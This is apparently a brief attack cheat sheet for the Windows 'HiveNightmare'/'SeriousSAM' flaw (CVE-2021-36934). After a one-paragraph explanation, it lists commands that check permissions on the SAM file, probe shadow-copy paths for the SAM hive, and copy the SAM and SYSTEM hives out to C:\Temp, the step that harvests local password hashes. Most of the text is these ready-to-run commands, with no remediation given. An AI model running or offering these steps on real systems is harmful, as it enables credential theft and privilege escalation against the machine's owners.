WINDOWS LPE "HiveNightmare" or "SeriousSAM"

CVE-2021-36934
The problem is aggravated by the fact the 'shadow copy' of the system drive where these files can be found is created when someone performs a Windows Update if that drive is larger than 128GB (!). So, even if your version of Windows 10 wasn't initially impacted, it could be after updating.

1) Check permissions:
icacls.exe C:\Windows\System32\config\SAM

2) Check shadow copies, restore points
[System.IO.File]::Exists('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM')
[System.IO.File]::Exists('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM')
[System.IO.File]::Exists('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM')
... and so on

3) Copy SAM and SYSTEM files from shadow copy:
[System.IO.File]::Copy('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM', 'C:\Temp\SAM')
[System.IO.File]::Copy('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM', 'C:\Temp\SYSTEM')